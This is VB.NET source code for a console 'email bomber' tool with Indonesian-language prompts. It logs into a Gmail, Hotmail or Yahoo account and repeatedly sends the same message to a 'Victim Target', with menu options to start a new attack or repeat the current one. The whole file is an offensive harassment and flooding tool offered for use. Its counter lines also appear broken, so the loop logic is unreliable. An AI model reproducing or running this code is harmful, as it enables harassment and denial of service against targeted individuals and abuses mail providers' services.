BTI Black Email Bomber by Anon?M ID

Imports System.Net.Mail
Module Black_Email_Bomber
    'thanks to http://www.hackforums.net/member.php?action=profile&uid=98636 for SendEmail Function <3
    'Anon?M ID
    Public imlz
    Public imlzpz
    Public imlzvz
    Public imlzsz
    Public imlzmz
    Public imlzcz
    Sub Main()
        Console.Title = "BTI Black Email Bomber    |     by Anon?M ID"
        Console.WriteLine("")
        Console.ForegroundColor = ConsoleColor.Green
        Console.WriteLine("===============================================================================")
        Console.WriteLine("                    BTI Black Email Bomber coded by Anon?M ID")
        Console.WriteLine("===============================================================================")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.Write("Your Email      :   ")
        Dim Email = Console.ReadLine
        Console.Write("Your Password   :   ")
        Dim Password = Console.ReadLine
        Console.WriteLine("================================================================================")
        Console.Write("Victim Target   :   ")
        Dim Receiver = Console.ReadLine
        Console.Write("Subject         :   ")
        Dim Subject = Console.ReadLine
        Console.Write("Message         :   ")
        Dim Message = Console.ReadLine
        Console.Write("Jumlah Yang Akan Dikirim    :   ")
        Dim Count = Console.ReadLine
        imlz = Email
        imlzpz = Password
        imlzvz = Receiver
        imlzsz = Subject
        imlzmz = Message
        imlzcz = Count
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("================================================================================")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        Try
            SendEmail(Email, Password, Receiver, Subject, Message, Count)
            Console.ReadLine()
        Catch ex As Exception
            MsgBox("Unable to Bomb Target!" & vbNewLine & "Details :   " & ex.Message, MsgBoxStyle.Critical, "Error")
            End
        End Try
    End Sub
    Private Function SendEmail(ByVal Email As String, ByVal Password As String, ByVal Receiver As String, ByVal Subject As String, ByVal Message As String, ByVal Count As Integer) As Boolean
        Dim MailSetup As New MailMessage
        Dim Host As String = String.Empty
        Dim Port As String = String.Empty
        MailSetup.Subject = Subject
        MailSetup.To.Add(Receiver)
        MailSetup.From = New MailAddress(Email)
        MailSetup.Body = Message

        If Email.ToLower.Contains("@hotmail.") Or Email.ToLower.Contains("@live.") Then

            Host = "smtp.live.com"
            Port = 587

        ElseIf Email.ToLower.Contains("@gmail.") Or Email.ToLower.Contains("@googlemail.") Then

            Host = "smtp.gmail.com"
            Port = 587

        ElseIf Email.ToLower.Contains("@yahoo.") Then

            Host = "smtp.mail.yahoo.com"
            Port = 465

        End If
        Dim SMTP As New SmtpClient(Host)
        SMTP.Port = Port
        SMTP.EnableSsl = True
        SMTP.Credentials = New Net.NetworkCredential(Email, Password)
        Dim countz As Integer
        Dim gagalz As Integer
        Do Until countz = Count
            Try
                countz  = 1
                SMTP.Send(MailSetup)
                Console.ForegroundColor = ConsoleColor.Green
                Console.WriteLine("Pesan ke- " & countz & " Terkirim ke " & Receiver)
            Catch ex As Exception
                gagalz  = 1
                Console.ForegroundColor = ConsoleColor.Red
                Console.WriteLine("Pesan ke- " & gagalz & " Gagal Terkirim ke " & Receiver)
            End Try
        Loop
        Console.ForegroundColor = ConsoleColor.White
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("Black Email Bomber Stoped")
        Console.WriteLine("================================================================================")
        Console.ForegroundColor = ConsoleColor.Green
        Console.WriteLine("Untuk memulai penyerangan baru, ketik 'New'")
        Console.WriteLine("Untuk melanjutkan penyerangan ke target sekarang, ketik 'Ulangi'")
        Console.WriteLine("Untuk menutup aplikasi, ketik 'Keluar'")
        Console.Write("Command: ")
        Select Case Console.ReadLine
            Case "New"
                Newz()
                Console.ReadLine()
            Case "Ulangi"
                Loopz()
                Console.ReadLine()
            Case "Keluar"
                End
            Case Else
                salah()
                Console.ReadLine()
        End Select
    End Function
    Sub salah()
        MsgBox("Invalid Command!", MsgBoxStyle.Critical, "Application Error")
        End
    End Sub
    Sub Loopz()
        Console.ForegroundColor = ConsoleColor.Cyan
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("================================================================================")
        Console.WriteLine("                    BTI Black Email Bomber Loop Attack")
        Console.WriteLine("================================================================================")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        SendEmail(imlz, imlzpz, imlzvz, imlzsz, imlzmz, imlzcz)
        Console.ReadLine()
    End Sub
    Sub Newz()
        Console.ForegroundColor = ConsoleColor.Blue
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("================================================================================")
        Console.WriteLine("                    BTI Black Email Bomber New Attack")
        Console.WriteLine("================================================================================")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("Note :   No need login")
        Console.Write("Victim Target   :   ")
        Dim Receiver = Console.ReadLine
        Console.Write("Subject         :   ")
        Dim Subject = Console.ReadLine
        Console.Write("Message         :   ")
        Dim Message = Console.ReadLine
        Console.Write("Jumlah Yang Akan Dikirim    :   ")
        Dim Count = Console.ReadLine
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("================================================================================")
        Console.WriteLine("")
        Console.WriteLine("")
        Console.WriteLine("")
        SendEmail(imlz, imlzpz, Receiver, Subject, Message, Count)
        Console.ReadLine()
    End Sub
End Module